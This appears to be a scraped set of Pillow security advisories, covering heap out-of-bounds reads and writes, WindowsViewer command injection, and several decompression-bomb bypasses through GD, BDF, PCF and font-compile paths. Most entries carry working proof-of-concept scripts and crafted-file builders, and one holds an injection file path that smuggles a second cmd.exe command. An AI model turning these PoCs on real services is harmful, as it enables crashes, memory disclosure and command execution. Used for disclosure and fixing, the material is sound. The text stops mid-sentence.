b"" for _ in range(ATTEMPTS): out = io.BytesIO() Image.new("1", (WIDTH, 1), 0).save(out, format="TGA", compression="tga_rle") oob = extract_oob_payload(out.getvalue()) if len(oob) > len(best): best = oob with open("/tmp/max_oob_bytes.bin", "wb") as fp: fp.write(best) print(f"Pillow={PIL.__version__}") print(f"packed_row_bytes={ROW_BYTES}") print(f"maximum_oob_window={MAX_OOB_WINDOW}") print(f"serialized_distinct_oob_offsets={len(best)}") print(f"nonzero_oob_bytes={sum(byte != 0 for byte in best)}") print(f"coverage={len(best) / MAX_OOB_WINDOW:.2%}") print(f"sha256={hashlib.sha256(best).hexdigest()}") ` Observed on installed Pillow 12.2.0: `text Pillow=12.2.0 packed_row_bytes=8192 maximum_oob_window=57343 serialized_distinct_oob_offsets=57297 nonzero_oob_bytes=54407 coverage=99.92% ` Impact This is a heap out-of-bounds read and potential information disclosure. A maximum-width single-row image can cause nearly the full 57343`-byte adjacent heap window to be incorporated into one output file.

Pillow: Heap out-of-bounds write in `ImageFilter.RankFilter` via integer overflow in `ImagingExpand`

Summary Pillow's public rank-filter API can trigger a native heap out-of-bounds write when given a very large odd filter size. Minimal public API trigger: ``python from PIL import Image, ImageFilter im = Image.new("L", (3, 3), 128) im.filter(ImageFilter.MedianFilter(4294967295)) ` ImageFilter.RankFilter.filter() calls image.expand(size // 2, size // 2) before rank-filter size validation. With size = 4294967295, the expansion margin is 2147483647 (INT_MAX). ImagingExpand() then computes the output dimensions with unchecked signed int arithmetic. On tested builds, this wraps to a tiny output image and the border-expansion loop writes past the allocation. This is reachable through documented public classes (RankFilter, MedianFilter, MinFilter, and MaxFilter). No private API, ctypes, or custom Python object is needed. Details Current src/PIL/ImageFilter.py: `python class RankFilter(Filter): def filter(self, image): if image.mode == "P": msg = "cannot filter palette images" raise ValueError(msg) image = image.expand(self.size // 2, self.size // 2) return image.rankfilter(self.size, self.rank) ` The expand() call is made before image.rankfilter(...). Current src/libImaging/Filter.c:ImagingExpand() does not check output-size overflow: `c if (xmargin < 0 && ymargin < 0) { return (Imaging)ImagingError_ValueError("bad kernel size"); } imOut = ImagingNewDirty( imIn->mode, imIn->xsize + 2 xmargin, imIn->ysize + 2 ymargin ); ` For a 3x3 image and xmargin = ymargin = INT_MAX, the computed output size wraps to 1x1 on tested builds. The following loop still uses the huge margin: `c for (x = 0; x < xmargin; x++) { imOut->image[yout][x] = imIn->image[yin][0]; } ` src/libImaging/RankFilter.c does contain checks that would reject this size: `c if (!(size & 1)) { return (Imaging)ImagingError_ValueError("bad filter size"); } if (size > INT_MAX / size || size > INT_MAX / (size * (int)sizeof(FLOAT32))) { return (Imaging)ImagingError_ValueError("filter size too large"); } ` But those checks are reached only after RankFilter.filter() has already called image.expand(...). Mode "L" produces 1-byte OOB stores. Modes "I" and "F" produce 4-byte OOB stores. The repeated value written OOB is copied from the source image border pixel, so attacker-supplied image bytes can influence it. This is a sequential overwrite, not an arbitrary-address write. PoC Minimal ASAN crash PoC: `python from PIL import Image, ImageFilter im = Image.new("L", (3, 3), 128) im.filter(ImageFilter.MedianFilter(4294967295)) ` Observed on local Pillow 12.3.0.dev0 ASAN target: `text ERROR: AddressSanitizer: heap-buffer-overflow WRITE of size 1 ImagingExpand /out/src/src/libImaging/Filter.c:99 _expand_image /out/src/src/_imaging.c:1100 0 bytes after a 1-byte allocation ` 4-byte write variant with source pixel loaded from normal image bytes: `python from io import BytesIO from PIL import Image, ImageFilter SIZE = 4294967295 PIXEL = 0x41424344 src = BytesIO() Image.new("I", (3, 3), PIXEL).save(src, format="TIFF") im = Image.open(BytesIO(src.getvalue())) im.load() assert im.mode == "I" assert im.getpixel((0, 0)) == PIXEL im.filter(ImageFilter.MedianFilter(SIZE)) ` Observed ASAN signature: `text ERROR: AddressSanitizer: heap-buffer-overflow WRITE of size 4 ImagingExpand /out/src/src/libImaging/Filter.c:101 _expand_image /out/src/src/_imaging.c:1100 0 bytes after a 4-byte allocation ` Version checks: `text Pillow 1.0: ASAN heap-buffer-overflow WRITE confirmed at runtime Pillow 12.3.0.dev0: ASAN heap-buffer-overflow WRITE confirmed at runtime Pillow 1.0 through 12.2.0: source sweep confirmed the vulnerable public validation order and unchecked ImagingExpand arithmetic upstream/main at 9c1097c861420c77af53c7c9af2a1382e2bfaa8b: still affected ` Impact It is a heap out-of-bounds write in Pillow's native C extension, reachable through public image-filter classes. Applications are impacted if an untrusted user can control the rank-filter size/configuration passed to Pillow. If the image is also attacker-supplied, the source pixel value written out of bounds can be attacker-influenced, including 4-byte values for mode "I" images. Possible fix Validate the rank-filter size before calling image.expand(...), and harden ImagingExpand() against invalid margins and overflow: `c if (xmargin < 0 || ymargin < 0) { return (Imaging)ImagingError_ValueError("bad kernel size"); } if (xmargin > (INT_MAX - imIn->xsize) / 2 || ymargin > (INT_MAX - imIn->ysize) / 2) { return (Imaging)ImagingError_ValueError("bad kernel size"); } ``

Pillow: WindowsViewer.get_command() OS command injection via unescaped shell path

1. Summary WindowsViewer.get_command() constructs a cmd.exe shell command by directly embedding a file path into an f-string without escaping. The result is passed to subprocess.Popen(..., shell=True). Shell metacharacters in the file path — most importantly a double-quote (") that breaks out of the wrapping, followed by & — allow injection of arbitrary cmd.exe commands. The macOS equivalent (MacViewer) correctly applies shlex.quote() to the same parameter. The Linux equivalent (UnixViewer) does likewise. Windows is the only platform missing this protection, despite shlex.quote being already imported on line 21 of ImageShow.py. --- 2. Vulnerable Code File: src/PIL/ImageShow.py, lines 133–150 ``python class WindowsViewer(Viewer): format = "PNG" options = {"compress_level": 1, "save_all": True} def get_command(self, file: str, options: Any) -> str: return ( f'start "Pillow" /WAIT "{file}" ' # ← f-string, no escaping "&& ping -n 4 127.0.0.1 >NUL " f'&& del /f "{file}"' # ← same path, unescaped again ) def show_file(self, path: str, options: Any) -> int: if not os.path.exists(path): raise FileNotFoundError subprocess.Popen( self.get_command(path, options), shell=True, # ← shell=True creationflags=getattr(subprocess, "CREATE_NO_WINDOW"), ) # nosec # ← Bandit warning suppressed manually return 1 ` Contrast with macOS — SAFE (line 164–168): `python class MacViewer(Viewer): def get_command(self, file: str, options: Any) -> str: command = "open -a Preview.app" command = f"({command} {quote(file)}; sleep 20; rm -f {quote(file)})&" return command # ← shlex.quote() applied ` Cross-platform summary: | Platform | Class | shlex.quote()? | shell=True? | Safe? | |----------|----------------|------------------|---------------|-------| | macOS | MacViewer | Yes (line 168) | No (list args) | ✅ Yes | | Linux | UnixViewer | Yes (line 207) | No (list args) | ✅ Yes | | Windows | WindowsViewer| No (line 134–137) | Yes (line 148) | ❌ No | shlex.quote is imported on line 21. Its omission from the Windows path is a clear oversight, not a deliberate design choice. --- 3. Proof of Concept A full working PoC is at poc_pillow_injection.py. Key parts: Part A — Injection string construction (static, no execution): `python from PIL.ImageShow import WindowsViewer viewer = WindowsViewer() evil_path = r'C:\Temp\evil" & echo PWNED & echo "' cmd = viewer.get_command(evil_path) print(cmd) Output: start "Pillow" /WAIT "C:\Temp\evil" & echo PWNED & echo "" && ping ... ┌─ start "Pillow" /WAIT "C:\Temp\evil" → fails (file not found) ├─ & echo PWNED → INJECTED COMMAND └─ & echo "" && ping ... → continues ` Part B — Live execution via os.system() (verified on Windows 11, Pillow 12.1.1): `python import os, tempfile from PIL.ImageShow import WindowsViewer viewer = WindowsViewer() poc_dir = tempfile.mkdtemp() marker = os.path.join(poc_dir, "INJECTION_CONFIRMED.txt") Craft injection: payload writes a marker file (harmless) payload = f'echo REAL_INJECTED > "{marker}"' evil_path = os.path.join(poc_dir, f'poc" & {payload} & echo "') Call the REAL Pillow get_command(): real_cmd = viewer.get_command(evil_path) Execute the same way the base Viewer.show_file() does (os.system): os.system(real_cmd) assert os.path.exists(marker) # PASSES — marker was created assert "REAL_INJECTED" in open(marker).read() # PASSES → CONFIRMED: arbitrary command injection via get_command() `` ---

OWASP A03LLM01 · Prompt InjectionOWASP Web
Get guardrail →

Pillow `GdImageFile._open()`: image dimensions accepted without `_decompression_bomb_check()`

Description PIL/GdImageFile.py GdImageFile._open() reads image dimensions from the GD 2.x header and stores them in self._size without calling Image._decompression_bomb_check(). Because GdImageFile is not registered with Image.register_open(), it never passes through the standard Image.open() code path that enforces Pillow's decompression bomb guard. The plugin exposes its own entry point — PIL.GdImageFile.open(fp) — which directly instantiates the class, fully bypassing the documented protection. Vulnerable code (PIL/GdImageFile.py lines 50–61): ``python def _open(self) -> None: s = self.fp.read(1037) if i16(s) not in [65534, 65535]: raise SyntaxError("Not a valid GD 2.x .gd file") self._mode = "P" self._size = i16(s, 2), i16(s, 4) # ← unsigned 16-bit; max 65535 each # NO _decompression_bomb_check() call here ← ... self.tile = [ImageFile._Tile("raw", (0, 0) + self.size, 1037, "L")] ` When load() is subsequently called on the returned image object: `python load() → load_prepare() → Image.core.new("P", (65535, 65535)) ↑ C-level allocation of 4,294,836,225 bytes ≈ 4.3 GB — no Python bomb check precedes this ` Dimension arithmetic: | Field | Value | |---|---| | Maximum width from header | 65,535 (unsigned 16-bit) | | Maximum height from header | 65,535 (unsigned 16-bit) | | Maximum pixel count | 65,535 × 65,535 = 4,294,836,225 | | DecompressionBombError threshold | 178,956,970 (2 × MAX_IMAGE_PIXELS) | | Overshoot ratio | 24× above DecompressionBombError threshold | | Memory at max dimensions | ≈ 4.3 GB (palette-mode: 1 byte/pixel) | | Minimum attack file size | 1,037 bytes (header only — no pixel data needed) | Comparison with safe sibling plugin (WalImageFile): WalImageFile is in the same category — not registered with Image.open(), loaded via its own open() helper. It was previously patched with the correct fix: `python PIL/WalImageFile.py line 46 — CORRECT pattern (already patched) self._size = i32(header, 32), i32(header, 36) Image._decompression_bomb_check(self.size) # ← present ` GdImageFile was never updated to match, leaving a gap in protection. Steps to reproduce Proof of Concept script: `python #!/usr/bin/env python3 """ PoC: GdImageFile decompression bomb bypass 1037-byte crafted .gd file → 4.3 GB C-heap allocation, NO bomb check """ import io, struct from PIL import GdImageFile, Image Build minimal 1037-byte GD 2.x palette-mode header: sig(2) + width(2) + height(2) + true_color(1) + tindex(4) + colors_used(2) + palette(1024) sig = struct.pack(">H", 0xFFFE) # 65534 = GD 2.x magic w = struct.pack(">H", 65535) # max width h = struct.pack(">H", 65535) # max height true_color = b"\x00" # 0 = palette mode tindex = struct.pack(">I", 0xFFFFFFFF) # > 255 = no transparency colors_used = b"\x00\x00" palette_data = b"\x00" 1024 header = sig + w + h + true_color + tindex + colors_used + palette_data assert len(header) == 1037 Confirm: standard Image.open() path BLOCKS this size try: Image._decompression_bomb_check((65535, 65535)) except Image.DecompressionBombError as e: print(f"[BLOCKED] Image.open() path: {e}") Vulnerable path: GdImageFile.open() has NO bomb check img = GdImageFile.open(io.BytesIO(header)) print(f"[BYPASS] GdImageFile.open() succeeded: size={img.size}, mode={img.mode}") print(f" No _decompression_bomb_check called — 4.3 GB allocation not blocked") Trigger load_prepare() → Image.core.new("P", (65535, 65535)) try: img.load() except OSError: print(f"[INFO] load() OSError (no pixel data) — but C-heap allocation already attempted") print(f"\n[MATH] {65535 65535:,} pixels = {6553565535 / (Image.MAX_IMAGE_PIXELS2):.1f}× error threshold") print(f"[MATH] Attack file: 1,037 bytes only") ` Expected output: ` [BLOCKED] Image.open() path: Image size (4294836225 pixels) exceeds limit of 178956970 pixels, could be decompression bomb DOS attack. [BYPASS] GdImageFile.open() succeeded: size=(65535, 65535), mode=P No _decompression_bomb_check called — 4.3 GB allocation not blocked [INFO] load() OSError (no pixel data) — but C-heap allocation already attempted [MATH] 4,294,836,225 pixels = 24.0× error threshold [MATH] Attack file: 1,037 bytes only ` Verified live on Pillow 12.2.0. Two attack paths: | Path | File size | Effect | |---|---|---| | Transient (header only) | 1,037 bytes | load_prepare() attempts 4.3 GB C allocation → OSError after spike | | Persistent (full pixel data) | ~4.3 GB | load() completes, 4.3 GB stays in memory for object lifetime | For the transient path, a 1,037-byte file is all that is needed. The attacker does not need to upload a large file. Real-world scenario: `python from PIL import GdImageFile Application accepts user-uploaded .gd files img = GdImageFile.open(user_uploaded_file) # succeeds — no bomb check img.load() # triggers 4.3 GB C-heap allocation ` Impact Availability: HIGH — a single 1,037-byte malicious .gd file causes the host process to attempt a ~4.3 GB C-heap allocation. On systems with insufficient memory this crashes the process. Repeatable — attacker can loop requests to keep the server down. Confidentiality: None Integrity: None Authentication required: No — any public endpoint accepting image uploads is affected User interaction: None Any service that calls PIL.GdImageFile.open(user_file) followed by .load() (or any lazy-load trigger) is vulnerable. Because the attack requires only a 1,037-byte file, network bandwidth is not a constraint. Confirmed unpatched on python-pillow/Pillow main` branch as of 2026-06-08.

Pillow `BdfFontFile`: `Image.new()` called without `_decompression_bomb_check()` — bomb protection bypass via font loading

Summary PIL/BdfFontFile.py bdf_char() (lines 84–88) reads the BBX width height field from a BDF font file and passes the dimensions directly to Image.new() without calling Image._decompression_bomb_check(). This completely bypasses Pillow's documented decompression bomb protection. Image.open() enforces MAX_IMAGE_PIXELS = 89,478,485 and raises DecompressionBombError for images exceeding 2 × MAX = 178,956,970 pixels. The BDF font loading path calls Image.new() directly, which only calls _check_size() (validates >= 0) — no pixel count limit. Vulnerable code (PIL/BdfFontFile.py lines 84–88): ``python width, height from attacker-controlled "BBX width height x y" line try: im = Image.frombytes("1", (width, height), bitmap, "hex", "1") except ValueError: # TRIGGERED when BITMAP section is empty (zero hex lines) im = Image.new("1", (width, height)) # ← NO _decompression_bomb_check()! # ^ This image is stored in self.glyph[ch] — persists in memory ` Attack trigger: A BDF glyph with BBX 20000 20000 and an empty BITMAP section causes Image.frombytes() to raise ValueError, then Image.new("1", (20000, 20000)) allocates 50 MB of C-heap silently. Image.open() would raise DecompressionBombError for the same dimensions. Steps to reproduce Minimal malicious BDF file (270 bytes): ` STARTFONT 2.1 SIZE 16 75 75 FONTBOUNDINGBOX 16 16 0 -4 STARTPROPERTIES 1 COMMENT placeholder ENDPROPERTIES CHARS 1 STARTCHAR A ENCODING 65 SWIDTH 500 0 DWIDTH 8 0 BBX 20000 20000 0 0 BITMAP ENDCHAR ENDFONT ` Proof of Concept script: `python #!/usr/bin/env python3 """PoC: BdfFontFile bomb bypass — 270-byte BDF → 50 MB allocation""" import io, warnings warnings.filterwarnings("ignore") from PIL.BdfFontFile import BdfFontFile from PIL.Image import _decompression_bomb_check, DecompressionBombWarning, DecompressionBombError W, H = 20000, 20000 # 400M pixels → above DecompressionBombError threshold Show what Image.open() would do warnings.filterwarnings("error", category=DecompressionBombWarning) try: _decompression_bomb_check((W, H)) except (DecompressionBombWarning, DecompressionBombError) as e: print(f"[Image.open() path] BLOCKED by {type(e).__name__}") warnings.filterwarnings("ignore") Malicious BDF: large BBX + empty BITMAP → ValueError → Image.new() without bomb check bdf = f"""STARTFONT 2.1 SIZE 16 75 75 FONTBOUNDINGBOX 16 16 0 -4 STARTPROPERTIES 1 COMMENT x ENDPROPERTIES CHARS 1 STARTCHAR A ENCODING 65 SWIDTH 500 0 DWIDTH 8 0 BBX {W} {H} 0 0 BITMAP ENDCHAR ENDFONT """.encode() print(f"[] BDF file size : {len(bdf)} bytes") print(f"[] Glyph size : {W} x {H} = {WH:,} pixels") print(f"[] C-heap target : {WH//8//10242} MB (mode '1' = 1 bit/pixel)") BdfFontFile(io.BytesIO(bdf)) # No exception — bomb check bypassed! print(f"[!] CONFIRMED: BdfFontFile loaded silently — {WH//8//10242} MB allocated") print(f" Image.open() path would have raised DecompressionBombError") ` Expected output:* ` [Image.open() path] BLOCKED by DecompressionBombError [] BDF file size : 270 bytes [] Glyph size : 20000 x 20000 = 400,000,000 pixels [] C-heap target : 47 MB (mode '1' = 1 bit/pixel) [!] CONFIRMED: BdfFontFile loaded silently — 47 MB allocated Image.open() path would have raised DecompressionBombError ` Amplified attack (multiple glyphs): A BDF file defining 256 glyphs each at BBX 8000 8000 causes 256 × 7.6 MB = ~1.95 GB total C-heap allocation — all silently, bypassing documented bomb protection. Impact Availability: HIGH — attacker-controlled memory allocation per glyph × up to 65,536 glyphs Confidentiality: None Integrity: None Any service loading BDF fonts from untrusted sources (e.g., ImageFont.load("user.bdf"), BdfFontFile(fp)) is affected Loaded glyph images persist in self.glyph[ch]` for the lifetime of the font object — memory is NOT freed until the font is garbage collected

Pillow: `FontFile.compile()`: `Image.new()` called without `_decompression_bomb_check()`

Description PIL/FontFile.py FontFile.compile() assembles per-glyph images into a single combined bitmap using Image.new("1", (xsize, ysize)) without calling Image._decompression_bomb_check(). This is the base-class method shared by both BdfFontFile and PcfFontFile, and it is triggered whenever a loaded font is converted to an ImageFont or saved. Neither BdfFontFile.BdfFontFile(fp) nor PcfFontFile.PcfFontFile(fp) is registered with Image.register_open(), so Pillow's standard decompression bomb guard never fires for font objects. The compile step is the final opportunity to check the combined allocation — and it has no check. Vulnerable code (PIL/FontFile.py lines ~64–92): ``python def compile(self) -> None: if self.bitmap: return h = w = maxwidth = 0 lines = 1 for glyph in self.glyph: # up to 256 glyph slots if glyph: d, dst, src, im = glyph h = max(h, src[3] - src[1]) # max glyph height — attacker-controlled w = w + (src[2] - src[0]) if w > WIDTH: # WIDTH = 800 lines += 1 w = src[2] - src[0] maxwidth = max(maxwidth, w) xsize = maxwidth # ≤ 800 (capped by WIDTH constant) ysize = lines h # ← lines(256) × h(65535) = 16,776,960 if xsize == 0 and ysize == 0: return self.ysize = h # NO _decompression_bomb_check() here ← self.bitmap = Image.new("1", (xsize, ysize)) # ← unchecked allocation ` "Slow accumulation" attack — per-glyph dimensions stay BELOW warning threshold: | Metric | Per-glyph (800 × 875) | Combined bitmap (256 glyphs) | |---|---|---| | Pixel count | 700,000 | 179,200,000 | | DecompressionBombWarning threshold (89.4M) | 0.008× — no warning | 2.0× — above warning | | DecompressionBombError threshold (178.9M) | 0.004× — no error | 1.001× — above error | With PCF-maximum glyph height (65,535): | Metric | Value | |---|---| | lines | 256 (one per glyph slot, width=800 forces a wrap every glyph) | | h (max glyph height) | 65,535 | | xsize | 800 | | ysize = lines × h | 256 × 65,535 = 16,776,960 | | Total pixels | 800 × 16,776,960 = 13,421,568,000 | | Ratio vs. DecompressionBombError threshold | 75× | | Memory (mode "1", 1 bit/pixel) | ~1.6 GB | Steps to reproduce Proof of Concept script: `python #!/usr/bin/env python3 """ PoC: FontFile.compile() bomb bypass 256 glyphs at 800x875 each (individually below warning threshold) → compile() creates 800x224000 = 179.2M px bitmap with NO bomb check """ from PIL import FontFile, Image MAX_GLYPHS = 256 GLYPH_W = 800 GLYPH_H = 875 # individual: 700K px — below 89.4M warning threshold class MockFont(FontFile.FontFile): def __init__(self): super().__init__() # Each glyph is individually safe (700K px < 89.4M warning) im = Image.new("1", (GLYPH_W, GLYPH_H)) for i in range(MAX_GLYPHS): self.glyph[i] = ( (GLYPH_W, GLYPH_H), (0, -GLYPH_H, GLYPH_W, 0), (0, 0, GLYPH_W, GLYPH_H), im, ) Confirm bomb check WOULD catch the combined size combined_size = (GLYPH_W, MAX_GLYPHS GLYPH_H) try: Image._decompression_bomb_check(combined_size) print("[FAIL] bomb check did not raise — unexpected") except Image.DecompressionBombError as e: print(f"[OK] bomb check WOULD block {combined_size}: {e}") Vulnerable path: compile() has NO bomb check font = MockFont() font.compile() # → Image.new("1", (800, 224000)) — no error raised px = font.bitmap.size[0] font.bitmap.size[1] threshold = Image.MAX_IMAGE_PIXELS 2 print(f"[BYPASS] compile() succeeded: bitmap={font.bitmap.size}") print(f" pixels={px:,} ({px/threshold:.3f}× DecompressionBombError threshold)") print(f" No DecompressionBombError raised at any point.") ` Expected output: ` [OK] bomb check WOULD block (800, 224000): Image size (179200000 pixels) exceeds limit of 178956970 pixels, could be decompression bomb DOS attack. [BYPASS] compile() succeeded: bitmap=(800, 224000) pixels=179,200,000 (1.001× DecompressionBombError threshold) No DecompressionBombError raised at any point. ` Verified live on Pillow 12.2.0 — compile() succeeds with no exception. Real-world trigger using BDF font file: `python from PIL import BdfFontFile import io Load a crafted BDF font with 256 glyphs each claiming height=65535 (each glyph individually: 800 × 65535 = 52.4M px — below 89.4M warning) compile() combined: 800 × 16,776,960 = 13.4B px — 75× error threshold font = BdfFontFile.BdfFontFile(open("crafted_256glyph.bdf", "rb")) font.to_imagefont() # → compile() → ~1.6 GB allocation, NO bomb check ` Attack scenarios: | Scenario | Effect | |---|---| | Web font preview (BdfFontFile(upload).to_imagefont()) | DoS with crafted .bdf upload | | Server-side font renderer that loads PCF → to_imagefont() | OOM crash | | Font pipeline: load → render text | One malicious font file kills the process | Impact Availability: HIGH — compile() creates a combined bitmap whose pixel count scales as WIDTH × lines × max_glyph_height with no upper bound check. With max PCF glyph height (65,535) and 256 glyphs, the combined allocation is ~1.6 GB. With BDF (text-format, unbounded height), the allocation is limited only by system memory. Confidentiality: None Integrity: None Affected call paths: BdfFontFile.BdfFontFile(fp).to_imagefont() → FontFile.compile() BdfFontFile.BdfFontFile(fp).save(filename) → FontFile.compile() PcfFontFile.PcfFontFile(fp).to_imagefont() → FontFile.compile() PcfFontFile.PcfFontFile(fp).save(filename) → FontFile.compile() Neither BdfFontFile nor PcfFontFile is loaded via Image.open(), so the standard decompression bomb guard is entirely absent from the font loading code path. compile() is the only point where the combined allocation size is known, and it has no check. Confirmed unpatched on python-pillow/Pillow main` branch as of 2026-06-08.

Pillow `PcfFontFile._load_bitmaps()`: `Image.frombytes()` called without `_decompression_bomb_check()` — bomb protection bypass via PCF font loading

Description PIL/PcfFontFile.py _load_bitmaps() (line 227) reads glyph dimensions from the PCF METRICS section and passes them directly to Image.frombytes() without calling Image._decompression_bomb_check(). Dimensions originate from unsigned 16-bit values: `` xsize = right - left (max: 65535 − 0 = 65535) ysize = ascent + descent (max: 65535 + 65535 = 131070) ` Maximum exploitable pixel count: 65,535 × 131,070 = 8,589,734,450 pixels — 48× the DecompressionBombError threshold. Vulnerable code (PIL/PcfFontFile.py line 224–227): `python for i in range(nbitmaps): xsize, ysize = metrics[i][:2] # from PCF METRICS — attacker-controlled b, e = offsets[i : i + 2] bitmaps.append( Image.frombytes("1", (xsize, ysize), data[b:e], "raw", mode, pad(xsize)) # ↑ NO _decompression_bomb_check()! ) ` Image.frombytes() calls Image.new() first (allocating the full C-heap buffer), then attempts to fill it. This creates two distinct attack paths: Persistent attack: Provide matching bitmap data → frombytes() succeeds → image stored in font.glyph[ch] permanently Transient attack: Provide a 148-byte PCF file with large declared dimensions but no data → Image.new() allocates the full buffer → ValueError → buffer freed → but the spike occurs before Python can respond Steps to reproduce Proof of Concept script: `python #!/usr/bin/env python3 """PoC: PcfFontFile bomb bypass — 148-byte PCF → 23 MB allocation""" import io, struct, tracemalloc, warnings warnings.filterwarnings("ignore") from PIL.PcfFontFile import PcfFontFile from PIL.Image import _decompression_bomb_check, DecompressionBombWarning, DecompressionBombError W, H = 14000, 14000 # 196M pixels → above DecompressionBombError threshold Show what Image.open() would do warnings.filterwarnings("error", category=DecompressionBombWarning) try: _decompression_bomb_check((W, H)) except (DecompressionBombWarning, DecompressionBombError) as e: print(f"[Image.open() path] BLOCKED by {type(e).__name__}") warnings.filterwarnings("ignore") PCF binary constants PCF_MAGIC = 0x70636601 PCF_PROPS = 1 << 0 PCF_METRICS = 1 << 2 PCF_BITMAPS = 1 << 3 PCF_ENCODINGS= 1 << 5 def build_bomb_pcf(xsize, ysize): # Properties: empty props = struct.pack("<III", 0, 0, 0) # Metrics (jumbo, non-compressed): 1 glyph — xsize=right-left, ysize=ascent+descent metrics = struct.pack("<II", 0, 1) metrics += struct.pack("<HHHHHH", 0, xsize, xsize, ysize, 0, 0) # Bitmaps: 1 glyph, empty data (transient attack) bitmaps = struct.pack("<II", 0, 1) bitmaps += struct.pack("<I", 0) # offset[0] = 0 bitmaps += struct.pack("<IIII", 0, 0, 0, 0) # bitmap_sizes all = 0 # Encodings: char 0x41 ('A') → glyph 0 enc_offsets = [0xFFFF]65 + [0] + [0xFFFF]62 encodings = struct.pack("<IHHHHH", 0, 0, 127, 0, 0, 0xFFFF) encodings += struct.pack("<" + "H"128, enc_offsets) secs = [(PCF_PROPS, props), (PCF_METRICS, metrics), (PCF_BITMAPS, bitmaps), (PCF_ENCODINGS, encodings)] hdr_size = 4 + 4 + len(secs) 16 out = struct.pack("<II", PCF_MAGIC, len(secs)) offset = hdr_size for stype, sdata in secs: out += struct.pack("<IIII", stype, 0, len(sdata), offset) offset += len(sdata) for _, sdata in secs: out += sdata return out pcf = build_bomb_pcf(W, H) print(f"[] PCF file size : {len(pcf)} bytes") print(f"[] Glyph size : {W} x {H} = {WH:,} pixels") print(f"[] C-heap target : {WH//8//10242} MB (mode '1' = 1 bit/pixel)") tracemalloc.start() try: font = PcfFontFile(io.BytesIO(pcf)) _, peak = tracemalloc.get_traced_memory() tracemalloc.stop() print(f"[!] CONFIRMED (persistent): bomb check bypassed — heap peak {peak/10242:.2f} MB") except Exception as e: _, peak = tracemalloc.get_traced_memory() tracemalloc.stop() print(f"[!] CONFIRMED (transient): {type(e).__name__} after allocation") print(f" Heap peak: {peak/1024*2:.2f} MB") print(f" C-heap allocation of ~{WH//8//10242} MB occurred before exception") ` Expected output:* ` [Image.open() path] BLOCKED by DecompressionBombError [] PCF file size : 148 bytes [] Glyph size : 14000 x 14000 = 196,000,000 pixels [] C-heap target : 23 MB (mode '1' = 1 bit/pixel) [!] CONFIRMED (transient): ValueError after allocation C-heap allocation of ~23 MB occurred before exception ` Amplification table: | PCF file | Glyph dims | C-heap (mode '1') | Bomb check | |---|---|---|---| | 148 bytes | 14000 × 14000 | 23 MB (transient) | Bypassed | | 148 bytes | 65535 × 131070 | 1.07 GB (transient) | Bypassed | | ~512 MB | 65535 × 131070 | 1.07 GB (persistent) | Bypassed | Impact Availability: HIGH — up to 1.07 GB per glyph, no limit per font file Confidentiality: None Integrity: None Any service loading PCF fonts from untrusted sources (e.g., PcfFontFile(fp)) is affected PcfFontFile is never loaded via Image.open(), so the bomb check protection is completely absent from the entire PCF font loading path Confirmed unpatched on python-pillow/Pillow main` branch as of 2026-06-07

Pillow: Out-of-bounds read via attacker-controlled row stride on Pillow's mmap path (McIdas AREA files)

Summary When Pillow loads an uncompressed image whose tile uses the raw codec and a mode in Image._MAPMODES, and the image was opened from a filename, it memory-maps the file and builds the image's row pointers directly into the mapping via PyImaging_MapBuffer (src/map.c). The per-row spacing (stride) is taken from the tile arguments. map.c validates offset + ysizestride <= buffer_len but never checks that stride is at least the natural row width xsize pixelsize. The McIdas* AREA plugin (McIdasImagePlugin.py) derives stride, offset, xsize, and ysize directly from attacker-controlled 32-bit header words with no validation. By supplying a stride far smaller than the row width, an attacker makes each row pointer read xsizepixelsize bytes that run past the mapped region. Accessing the pixels (e.g. Image.tobytes(), getpixel, convert, save) then reads adjacent process memory (information disclosure) or faults (SIGBUS, denial of service). Complete Code Trace Step 1: McIdasImageFile._open - turns attacker header words into image size, file offset, and row stride with no validation. ``python src/PIL/McIdasImagePlugin.py:41-70 s = self.fp.read(256) if not _accept(s) or len(s) != 256: # _accept: prefix == b"\x00\x00\x00\x00\x00\x00\x00\x04" raise SyntaxError(...) self.area_descriptor = w = [0, struct.unpack("!64i", s)] # w[1..64] = signed BE int32, ALL attacker-controlled if w[11] == 1: mode = rawmode = "L" # pixelsize 1, in _MAPMODES elif w[11] == 2: mode = rawmode = "I;16B" # pixelsize 2, in _MAPMODES ... self._mode = mode self._size = w[10], w[9] # (xsize, ysize) <-- attacker offset = w[34] + w[15] # <-- attacker stride = w[15] + w[10] w[11] w[14] # <-- attacker (set w[14]=0, w[15]=1 => stride=1) self.tile = [ ImageFile._Tile("raw", (0, 0) + self.size, offset, (rawmode, stride, 1)) ] ` Step 2: ImageFile.load (mmap branch) - selects mmap and delegates to map_buffer. `python src/PIL/ImageFile.py:322-348 if use_mmap: # use_mmap = self.filename and len(self.tile) == 1 decoder_name, extents, offset, args = self.tile[0] if (decoder_name == "raw" and isinstance(args, tuple) and len(args) >= 3 and args[0] == self.mode and args[0] in Image._MAPMODES): if offset < 0: # only lower-bound guard on offset raise ValueError("Tile offset cannot be negative") with open(self.filename) as fp: self.map = mmap.mmap(fp.fileno(), 0, access=mmap.ACCESS_READ) if offset + self.size[1] args[1] > self.map.size(): # == offset + ysizestride; NO stride>=linesize check raise OSError("buffer is not large enough") self.im = Image.core.map_buffer( self.map, self.size, decoder_name, offset, args # args = ("L", stride, 1) ) ` Step 3: PyImaging_MapBuffer - builds row pointers at stride spacing into the mmap; validates everything except stride >= row width. `c / src/map.c:65-140 / if (!PyArg_ParseTuple(args, "O(ii)sn(sii)", &target, &xsize, &ysize, &codec, &offset, &mode_name, &stride, &ystep)) return NULL; ... const ModeID mode = findModeID(mode_name); / "L" / if (stride <= 0) { / attacker sets stride=1 (>0) -> NOT recomputed / if (mode == IMAGING_MODE_L || mode == IMAGING_MODE_P) stride = xsize; else if (isModeI16(mode)) stride = xsize 2; else stride = xsize 4; } if (stride > 0 && ysize > PY_SSIZE_T_MAX / stride) {/ overflow guard only / PyErr_SetString(PyExc_MemoryError, "Integer overflow in ysize"); return NULL; } size = (Py_ssize_t)ysize stride; / = 11 = 1 / if (offset > PY_SSIZE_T_MAX - size) { ... } ... if (offset + size > view.len) { / 1 + 1 = 2 <= 256 -> PASSES / PyErr_SetString(PyExc_ValueError, "buffer is not large enough"); PyBuffer_Release(&view); return NULL; } im = ImagingNewPrologueSubtype(mode, xsize, ysize, sizeof(ImagingBufferInstance)); / im->linesize = xsize pixelsize = 200000 (the REAL per-row read width) / / setup file pointers -- NO check that stride >= im->linesize / if (ystep > 0) { for (y = 0; y < ysize; y++) { im->image[y] = (char )view.buf + offset + y stride; / row points into mmap, spacing=1 / } } else { ... } ` im->linesize (the number of bytes any consumer reads per row) is xsize pixelsize = 200000, but the row pointers are only 